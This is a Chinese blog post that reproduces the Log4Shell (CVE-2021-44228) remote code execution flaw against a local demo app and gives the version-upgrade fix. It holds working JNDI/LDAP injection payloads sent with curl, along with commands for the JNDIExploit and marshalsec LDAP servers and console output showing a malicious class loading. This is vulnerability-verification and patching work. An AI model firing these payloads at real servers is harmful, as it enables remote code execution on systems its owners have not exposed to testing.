近期,大家都被这个核弹级漏洞搞疯了,各种紧急生产补丁的上,所以咱也来凑凑热闹
问题
这个漏洞到底有多严重?基本上看到远程代码执行
,就是非常严重的漏洞,因为这代表攻击者,可以在被攻击者服务器上,执行任何想要的操作。
思考
怎么验证存在及修复了这个漏洞?
复现
基于JNDIExploit,搭建LDAP
- 参考:https://github.com/Mr-xn/JNDIExploit-1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1
创建一个Web工程(模拟被攻击的系统,如果验证已有系统可跳过)
见证奇迹的时刻
- 请求
curl -d 'val=${jndi:ldap://127.0.0.1:1389/SkTest211213Before}' -d 'otherKey=otherVal' -X POST http://localhost:8081/demo/cve/y2021/s44228/log
- JNDIExploit控制台输出结果(说明log4j2存在CVE-2021-44228漏洞)
[+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 8080... [+] Received LDAP Query: SkTest211213Before [!] Invalid LDAP Query: SkTest211213Before [+] Received LDAP Query: SkTest211213Before [!] Invalid LDAP Query: SkTest211213Before [+] Received LDAP Query: SkTest211213Before [!] Invalid LDAP Query: SkTest211213Before
解决
参考官方解决意见,升级版本到2.15.0
,包括但不限于如下方式:
- SpringBoot项目
<properties> <java.version>1.8</java.version> <log4j2.version>2.15.0</log4j2.version><!-- add this property to fix CVE-2021-44228 --> </properties>
回顾
原理
- log4j2在打印
${xxx}
内容时,会当命令执行
远程代码执行
将漏洞文件放于某Web服务器中
- 如:将 https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228/src/main/resources/static/Log4j2Rce.class 文件放于某Web服务器中
- 或启动 https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228 工程
通过marshalsec,搭建LDAP
- 参考:https://github.com/mbechler/marshalsec
- 命令(根据需要替换Web服务器url)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8081/#Log4j2Rce" 1389
创建一个Web工程(模拟被攻击的系统,如果验证已有系统可跳过)
- 如:https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228
- 启动(如上面已启动,则无需再启动)
见证奇迹的时刻
- 请求:
curl -d 'val=${jndi:ldap://127.0.0.1:1389/Log4j2Rce}' -d 'otherKey=otherVal' -X POST http://localhost:8081/demo/cve/y2021/s44228/log
- org.shaneking.demo.cve.y2021.s44228.web控制台输出结果(说明log4j2存在CVE-2021-44228漏洞)
2021-12-15 01:58:09.458 INFO 45940 --- [nio-8081-exec-2] o.s.w.s.DispatcherServlet : Completed initialization in 16 ms
SkTest211213Before: will print when Log4j2Rce loaded in static.
SkTest211213Before: will print when Log4j2Rce loaded in constructor.
2021-12-15 01:58:09.795 WARN 45940 --- [nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : ${jndi:ldap://127.0.0.1:1389/Log4j2Rce}
SkTest211213Before: will print when Log4j2Rce loaded in constructor.
2021-12-15 01:58:10.332 WARN 45940 --- [nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : RAW = ${jndi:ldap://127.0.0.1:1389/Log4j2Rce}
SkTest211213Before: will print when Log4j2Rce loaded in constructor.
2021-12-15 01:58:10.351 WARN 45940 --- [nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : FMT = ${jndi:ldap://127.0.0.1:1389/Log4j2Rce}
附录
- 基于DREAD模型的漏洞等级计算:https://www.secrss.com/articles/5566
- 安全漏洞如何评级:https://www.zhihu.com/question/53669275
- 漏洞等级说明:https://help.aliyun.com/document_detail/28388.html